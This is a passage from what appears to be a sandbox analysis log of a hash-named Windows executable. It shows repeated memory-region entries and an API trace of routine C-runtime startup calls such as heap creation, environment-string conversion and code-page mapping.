entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2571 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2572 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2573 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2574 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2575 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2576 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2577 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2578 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2579 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2580 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2581 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2582 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2583 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2584 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2585 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2586 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2587 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2588 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2589 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2590 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2591 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2592 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2593 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2594 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2595 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2596 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2597 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2598 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2599 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2600 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2601 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2602 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2603 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2604 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2605 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2606 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2607 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2608 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2609 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2610 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2611 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2612 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2613 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2614 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2615 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2616 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2621 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2622 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2623 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2624 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2625 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2626 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2627 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2628 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2629 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2630 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2631 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2632 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2633 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2634 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2635 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2636 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2637 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2638 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2639 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2640 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2641 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2642 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2643 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2644 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2645 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2646 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2647 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2648 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2649 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2650 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2651 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2652 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2653 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2654 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2655 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2656 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2657 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2658 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2660 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2661 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2662 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2663 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2664 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2665 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2666 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2667 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2668 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2669 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2670 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2671 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2672 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2673 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2674 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2675 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2676 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2677 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2678 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Thread: id = 1 os_tid = 0xec4 [0035.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afb24 | out: lpSystemTimeAsFileTime=0x1afb24*(dwLowDateTime=0xbaf308c0, dwHighDateTime=0x1d93032)) [0035.851] GetCurrentProcessId () returned 0xec0 [0035.852] GetCurrentThreadId () returned 0xec4 [0035.852] GetTickCount () returned 0x1029a9e [0035.852] QueryPerformanceCounter (in: lpPerformanceCount=0x1afb1c | out: lpPerformanceCount=0x1afb1c*=1714124387909) returned 1 [0035.857] GetStartupInfoW (in: lpStartupInfo=0x1afac8 | out: lpStartupInfo=0x1afac8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1afb2c, hStdError=0xb88ca4)) [0035.857] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0035.857] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xab0000 [0035.858] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0035.858] GetProcAddress (hModule=0x75130000, lpProcName="FlsAlloc") returned 0x75144ee3 [0035.858] GetProcAddress (hModule=0x75130000, lpProcName="FlsGetValue") returned 0x75141252 [0035.858] GetProcAddress (hModule=0x75130000, lpProcName="FlsSetValue") returned 0x751441c0 [0035.858] GetProcAddress (hModule=0x75130000, lpProcName="FlsFree") returned 0x7514354f [0035.859] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x214) returned 0xab07d0 [0035.859] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0035.859] GetCurrentThreadId () returned 0xec4 [0035.859] GetStartupInfoW (in: lpStartupInfo=0x1afa64 | out: lpStartupInfo=0x1afa64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8726a, hStdOutput=0xb875a3, hStdError=0xab07d0)) [0035.859] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x800) returned 0xab09f0 [0035.859] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0035.859] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0035.859] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0035.859] SetHandleCount (uNumber=0x20) returned 0x20 [0035.859] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " [0035.859] GetEnvironmentStringsW () returned 0x4c4b18* [0035.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1472, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1472 [0035.860] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x5c0) returned 0xab11f8 [0035.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1472, lpMultiByteStr=0xab11f8, cbMultiByte=1472, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1472 [0035.860] FreeEnvironmentStringsW (penv=0x4c4b18) returned 1 [0035.860] GetLastError () returned 0x5 [0035.860] SetLastError (dwErrCode=0x5) [0035.860] GetLastError () returned 0x5 [0035.860] SetLastError (dwErrCode=0x5) [0035.860] GetLastError () returned 0x5 [0035.860] SetLastError (dwErrCode=0x5) [0035.860] GetACP () returned 0x4e4 [0035.860] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x220) returned 0xab17c0 [0035.860] GetLastError () returned 0x5 [0035.860] SetLastError (dwErrCode=0x5) [0035.860] IsValidCodePage (CodePage=0x4e4) returned 1 [0035.860] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1afa2c | out: lpCPInfo=0x1afa2c) returned 1 [0035.860] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1af4f8 | out: lpCPInfo=0x1af4f8) returned 1 [0035.860] GetLastError () returned 0x5 [0035.860] SetLastError (dwErrCode=0x5) [0035.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1af90c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0035.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1af90c, cbMultiByte=256, lpWideCharStr=0x1af278, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧¸Ā") returned 256 [0035.861] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鵧¸Ā", cchSrc=256, lpCharType=0x1af50c | out: lpCharType=0x1af50c) returned 1 [0035.861] GetLastError () returned 0x5 [0035.861] SetLastError (dwErrCode=0x5) [0035.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1af90c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0035.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1af90c, cbMultiByte=256, lpWideCharStr=0x1af248, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0035.861] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0035.861] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x1af038, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0035.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x1af80c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 